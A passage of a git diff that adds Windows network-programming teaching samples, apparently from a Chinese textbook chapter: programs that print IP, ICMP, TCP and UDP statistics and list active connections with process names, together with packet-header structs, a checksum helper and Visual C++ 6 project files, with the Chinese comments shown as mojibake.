Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/IPRoute.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/IPRoute.dsw" new file mode 100644 index 0000000..38cb2ac --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/IPRoute.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "IPRoute"=".\IPRoute.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/Debug/IPStat.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/Debug/IPStat.exe" new file mode 100644 index 0000000..60ee6b2 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/Debug/IPStat.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/IPStat.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/IPStat.cpp" new file mode 100644 index 0000000..222adb3 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/IPStat.cpp" @@ -0,0 +1,169 @@ +////////////////////////////////////////////////////////////////////// +// IPStat.cppÎļþ + + +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + + +int main() +{ + // »ñÈ¡IPͳ¼ÆÊý¾Ý + MIB_IPSTATS IpStats; + if(::GetIpStatistics(&IpStats) == NO_ERROR) + { + MIB_IPSTATS *pStats = &IpStats; + printf("\nIP Statistics:\n"); + + printf("\ + dwForwarding = %lu\n\ + dwDefaultTTL = %lu\n\ + dwInReceives = %lu\n\ + dwInHdrErrors = %lu\n\ + dwInAddrErrors = %lu\n\ + dwForwDatagrams = %lu\n\ + dwInUnknownProtos = %lu\n\ + dwInDiscards = %lu\n\ + dwInDelivers = %lu\n\ + dwOutRequests = %lu\n\ + dwRoutingDiscards = %lu\n\ + dwOutDiscards = %lu\n\ + dwOutNoRoutes = %lu\n\ + dwReasmTimeout = %lu\n\ + dwReasmReqds = %lu\n\ + dwReasmOks = %lu\n\ + dwReasmFails = %lu\n\ + dwFragOks = %lu\n\ + dwFragFails = %lu\n\ + dwFragCreates = %lu\n\ + dwNumIf = %lu\n\ + dwNumAddr = %lu\n\ + dwNumRoutes = %lu\n", + pStats->dwForwarding, + pStats->dwDefaultTTL, + pStats->dwInReceives, + pStats->dwInHdrErrors, + pStats->dwInAddrErrors, + pStats->dwForwDatagrams, + pStats->dwInUnknownProtos, + pStats->dwInDiscards, + pStats->dwInDelivers, + pStats->dwOutRequests, + pStats->dwRoutingDiscards, + pStats->dwOutDiscards, + pStats->dwOutNoRoutes, + pStats->dwReasmTimeout, + pStats->dwReasmReqds, + pStats->dwReasmOks, + pStats->dwReasmFails, + pStats->dwFragOks, + pStats->dwFragFails, + pStats->dwFragCreates, + pStats->dwNumIf, + pStats->dwNumAddr, + pStats->dwNumRoutes); + } + + // »ñÈ¡ICMPͳ¼ÆÊý¾Ý + MIB_ICMP IcmpStats; + if(::GetIcmpStatistics(&IcmpStats) == NO_ERROR) + { + // MIB_ICMP½á¹¹Öаüº¬ÁËMIBICMPINFO½á¹¹ + MIBICMPINFO *pStats = (MIBICMPINFO*)&IcmpStats; + printf("\n%20s %10s %10s\n","ICMP Statistics", "IN", "OUT"); + printf("%20s %10s %10s\n","---------------", "------", "------"); + printf("%20s %10lu %10lu\n", + "dwMsgs", pStats->icmpInStats.dwMsgs, pStats->icmpOutStats.dwMsgs); + printf("%20s %10lu %10lu\n", + "dwErrors", pStats->icmpInStats.dwErrors, pStats->icmpOutStats.dwErrors); + printf("%20s %10lu %10lu\n", + "dwDestUnreachs", pStats->icmpInStats.dwDestUnreachs, pStats->icmpOutStats.dwDestUnreachs); + printf("%20s %10lu %10lu\n", + "dwTimeExcds", pStats->icmpInStats.dwTimeExcds, pStats->icmpOutStats.dwTimeExcds); + printf("%20s %10lu %10lu\n", + "dwParmProbs", pStats->icmpInStats.dwParmProbs, pStats->icmpOutStats.dwParmProbs); + printf("%20s %10lu %10lu\n", + "dwSrcQuenchs", pStats->icmpInStats.dwSrcQuenchs, pStats->icmpOutStats.dwSrcQuenchs); + printf("%20s %10lu %10lu\n", + "dwRedirects", pStats->icmpInStats.dwRedirects, pStats->icmpOutStats.dwRedirects); + printf("%20s %10lu %10lu\n", + "dwEchos", pStats->icmpInStats.dwEchos, pStats->icmpOutStats.dwEchos); + printf("%20s %10lu %10lu\n", + "dwEchoReps", pStats->icmpInStats.dwEchoReps, pStats->icmpOutStats.dwEchoReps); + printf("%20s %10lu %10lu\n", + "dwTimestamps", pStats->icmpInStats.dwTimestamps, pStats->icmpOutStats.dwTimestamps); + printf("%20s %10lu %10lu\n", + "dwTimestampReps", pStats->icmpInStats.dwTimestampReps, pStats->icmpOutStats.dwTimestampReps); + printf("%20s %10lu %10lu\n", + "dwAddrMasks", pStats->icmpInStats.dwAddrMasks, pStats->icmpOutStats.dwAddrMasks); + printf("%20s %10lu %10lu\n", + "dwAddrMaskReps", pStats->icmpInStats.dwAddrMaskReps, pStats->icmpOutStats.dwAddrMaskReps); + } + + // »ñÈ¡TCPͳ¼ÆÊý¾Ý + MIB_TCPSTATS TcpStats; + if(::GetTcpStatistics(&TcpStats) == NO_ERROR) + { + MIB_TCPSTATS *pStats = &TcpStats; + printf("\nTCP Statistics\n"); + printf("\ + dwRtoAlgorithm = %lu\n\ + dwRtoMin = %lu\n\ + dwRtoMax = %lu\n\ + dwMaxConn = %lu\n\ + dwActiveOpens = %lu\n\ + dwPassiveOpens = %lu\n\ + dwAttemptFails = %lu\n\ + dwEstabResets = %lu\n\ + dwCurrEstab = %lu\n\ + dwInSegs = %lu\n\ + dwOutSegs = %lu\n\ + dwRetransSegs = %lu\n\ + dwInErrs = %lu\n\ + dwOutRsts = %lu\n\ + dwNumConns = %lu\n", + pStats->dwRtoAlgorithm, + pStats->dwRtoMin, + pStats->dwRtoMax, + pStats->dwMaxConn, + pStats->dwActiveOpens, + pStats->dwPassiveOpens, + pStats->dwAttemptFails, + pStats->dwEstabResets, + pStats->dwCurrEstab, + pStats->dwInSegs, + pStats->dwOutSegs, + pStats->dwRetransSegs, + pStats->dwInErrs, + pStats->dwOutRsts, + pStats->dwNumConns); + + } + + // »ñÈ¡UDPͳ¼ÆÊý¾Ý + MIB_UDPSTATS UdpStats; + if(::GetUdpStatistics(&UdpStats) == NO_ERROR) + { + MIB_UDPSTATS *pStats = &UdpStats; + printf("\nUDP Statistics\n"); + printf("\ + dwInDatagrams = %lu\n\ + dwNoPorts = %lu\n\ + dwInErrors = %lu\n\ + dwOutDatagrams = %lu\n\ + dwNumAddrs = %lu\n", + pStats->dwInDatagrams, + pStats->dwNoPorts, + pStats->dwInErrors, + pStats->dwOutDatagrams, + pStats->dwNumAddrs); + } + + return 0; +} + + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/IPStat.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/IPStat.dsp" new file mode 100644 index 0000000..411e313 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/IPStat.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="IPStat" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=IPStat - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "IPStat.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "IPStat.mak" CFG="IPStat - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "IPStat - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "IPStat - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "IPStat - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "IPStat - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "IPStat - Win32 Release" +# Name "IPStat - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\IPStat.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/IPStat.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/IPStat.dsw" new file mode 100644 index 0000000..bdad423 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/IPStat.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "IPStat"=".\IPStat.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPStat/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/common/Debug.h" "b/Project/Network and Communication/\347\254\25413\347\253\240/common/Debug.h" new file mode 100644 index 0000000..87a3266 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/common/Debug.h" @@ -0,0 +1,32 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + +// µ÷ÊÔÖ§³Ö + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/common/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/common/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/common/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/common/comm.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/common/comm.cpp" new file mode 100644 index 0000000..aed2ef8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/common/comm.cpp" @@ -0,0 +1,42 @@ +////////////////////////////////////////////////// +// comm.cppÎļþ + + +#include +#include +#include "Ws2tcpip.h" + +#include "comm.h" + + +USHORT checksum(USHORT* buff, int size) +{ + unsigned long cksum = 0; + while(size>1) + { + cksum += *buff++; + size -= sizeof(USHORT); + } + // ÊÇÆæÊý + if(size) + { + cksum += *(UCHAR*)buff; + } + // ½«32λµÄchsum¸ß16λºÍµÍ16λÏà¼Ó£¬È»ºóÈ¡·´ + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + return (USHORT)(~cksum); +} + +BOOL SetTTL(SOCKET s, int nValue) +{ + int ret = ::setsockopt(s, IPPROTO_IP, IP_TTL, (char*)&nValue, sizeof(nValue)); + return ret != SOCKET_ERROR; +} + +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv) +{ + int ret = ::setsockopt(s, SOL_SOCKET, + bRecv ? SO_RCVTIMEO : SO_SNDTIMEO, (char*)&nTime, sizeof(nTime)); + return ret != SOCKET_ERROR; +} diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/common/comm.h" "b/Project/Network and Communication/\347\254\25413\347\253\240/common/comm.h" new file mode 100644 index 0000000..a3b5372 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/common/comm.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////////// +// comm.hÎļþ + +// °üº¬Ò»Ð©¹«¹²º¯Êý + + + +#ifndef __COMM_H__ +#define __COMM_H__ + + +// УÑéºÍµÄ¼ÆËã +// ÒÔ16λµÄ×ÖΪµ¥Î»½«»º³åÇøµÄÄÚÈÝÏà¼Ó£¬Èç¹û»º³åÇø³¤¶ÈΪÆæÊý£¬ +// ÔòÔÙ¼ÓÉÏÒ»¸ö×Ö½Ú¡£ËüÃǵĺʹæÈëÒ»¸ö32λµÄË«×ÖÖÐ +USHORT checksum(USHORT* buff, int size); + +BOOL SetTTL(SOCKET s, int nValue); +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv = TRUE); + + +#endif // __COMM_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/common/initsock.h" "b/Project/Network and Communication/\347\254\25413\347\253\240/common/initsock.h" new file mode 100644 index 0000000..f73bea7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 2) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/common/protoinfo.h" "b/Project/Network and Communication/\347\254\25413\347\253\240/common/protoinfo.h" new file mode 100644 index 0000000..a2e9aa7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/common/protoinfo.h" @@ -0,0 +1,110 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14×Ö½ÚµÄÒÔÌ«Í· +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + +// ЭÒé +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20×Ö½ÚµÄIPÍ· +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// ¶¨ÒåTCP±êÖ¾ +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader // 20×Ö½ÚµÄTCPÍ· +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + +#endif // __PROTOINFO_H__ + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/netstate/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/netstate/Debug/netstate.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/Debug/netstate.exe" new file mode 100644 index 0000000..234aaef Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/Debug/netstate.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/netstate/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/netstate/netstate.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/netstate.cpp" new file mode 100644 index 0000000..d56f2a7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/netstate/netstate.cpp" @@ -0,0 +1,240 @@ +////////////////////////////////////////////////////////////////////// +// netstate.cppÎļþ + + +#include +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + + + + +typedef struct +{ + DWORD dwState; // Á¬½Ó״̬ + DWORD dwLocalAddr; // ±¾µØµØÖ· + DWORD dwLocalPort; // ±¾µØ¶Ë¿Ú + DWORD dwRemoteAddr; // Ô¶³ÌµØÖ· + DWORD dwRemotePort; // Ô¶³Ì¶Ë¿Ú + DWORD dwProcessId; // ½ø³ÌIDºÅ +} MIB_TCPEXROW, *PMIB_TCPEXROW; + +typedef struct +{ + DWORD dwNumEntries; + MIB_TCPEXROW table[ANY_SIZE]; +} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE; + +typedef struct +{ + DWORD dwLocalAddr; // ±¾µØµØÖ· + DWORD dwLocalPort; // ±¾µØ¶Ë¿Ú + DWORD dwProcessId; // ½ø³ÌIDºÅ +} MIB_UDPEXROW, *PMIB_UDPEXROW; + +typedef struct +{ + DWORD dwNumEntries; + MIB_UDPEXROW table[ANY_SIZE]; +} MIB_UDPEXTABLE, *PMIB_UDPEXTABLE; + + +// À©Õ¹º¯ÊýÔ­ÐÍ +typedef DWORD (WINAPI *PFNAllocateAndGetTcpExTableFromStack)( + PMIB_TCPEXTABLE *pTcpTable, + BOOL bOrder, + HANDLE heap, + DWORD zero, + DWORD flags +); + +typedef DWORD (WINAPI *PFNAllocateAndGetUdpExTableFromStack)( + PMIB_UDPEXTABLE *pUdpTable, + BOOL bOrder, + HANDLE heap, + DWORD zero, + DWORD flags +); + + +PCHAR ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, PCHAR ProcessName); + +int main() +{ + // ¶¨ÒåÀ©Õ¹º¯ÊýÖ¸Õë + PFNAllocateAndGetTcpExTableFromStack pAllocateAndGetTcpExTableFromStack; + PFNAllocateAndGetUdpExTableFromStack pAllocateAndGetUdpExTableFromStack; + + // »ñÈ¡À©Õ¹º¯ÊýµÄÈë¿ÚµØÖ· + HMODULE hModule = ::LoadLibrary("iphlpapi.dll"); + pAllocateAndGetTcpExTableFromStack = + (PFNAllocateAndGetTcpExTableFromStack)::GetProcAddress(hModule, + "AllocateAndGetTcpExTableFromStack"); + + pAllocateAndGetUdpExTableFromStack = + (PFNAllocateAndGetUdpExTableFromStack)::GetProcAddress(hModule, + "AllocateAndGetUdpExTableFromStack"); + + if(pAllocateAndGetTcpExTableFromStack == NULL || pAllocateAndGetUdpExTableFromStack == NULL) + { + printf(" Ex APIs are not present \n "); + // ˵Ã÷ÄãÓ¦¸Ãµ÷ÓÃÆÕͨµÄIP°ïÖúAPIÈ¥»ñÈ¡TCPÁ¬½Ó±íºÍUDP¼àÌý±í + return 0; + } + + // µ÷ÓÃÀ©Õ¹º¯Êý£¬»ñÈ¡TCPÀ©Õ¹Á¬½Ó±íºÍUDPÀ©Õ¹¼àÌý±í + + PMIB_TCPEXTABLE pTcpExTable; + PMIB_UDPEXTABLE pUdpExTable; + + // pTcpExTableºÍpUdpExTableËùÖ¸µÄ»º³åÇø×Ô¶¯ÓÉÀ©Õ¹º¯ÊýÔÚ½ø³Ì¶ÑÖÐÉêÇë + if(pAllocateAndGetTcpExTableFromStack(&pTcpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) + { + printf(" Failed to snapshot TCP endpoints.\n"); + return -1; + } + if(pAllocateAndGetUdpExTableFromStack(&pUdpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) + { + printf(" Failed to snapshot UDP endpoints.\n"); + return -1; + } + + // ¸øϵͳÄÚµÄËùÓнø³ÌÅÄÒ»¸ö¿ìÕÕ + HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if(hProcessSnap == INVALID_HANDLE_VALUE) + { + printf(" Failed to take process snapshot. Process names will not be shown.\n\n"); + return -1; + } + + printf(" Active Connections \n\n"); + char szLocalAddr[128]; + char szRemoteAddr[128]; + char szProcessName[128]; + in_addr inadLocal, inadRemote; + char strState[128]; + DWORD dwRemotePort = 0; + + // ´òÓ¡TCPÀ©Õ¹Á¬½Ó±íÐÅÏ¢ + for(UINT i = 0; i < pTcpExTable->dwNumEntries; ++i) + { + // ״̬ + switch (pTcpExTable->table[i].dwState) + { + case MIB_TCP_STATE_CLOSED: + strcpy(strState, "CLOSED"); + break; + case MIB_TCP_STATE_TIME_WAIT: + strcpy(strState, "TIME_WAIT"); + break; + case MIB_TCP_STATE_LAST_ACK: + strcpy(strState, "LAST_ACK"); + break; + case MIB_TCP_STATE_CLOSING: + strcpy(strState, "CLOSING"); + break; + case 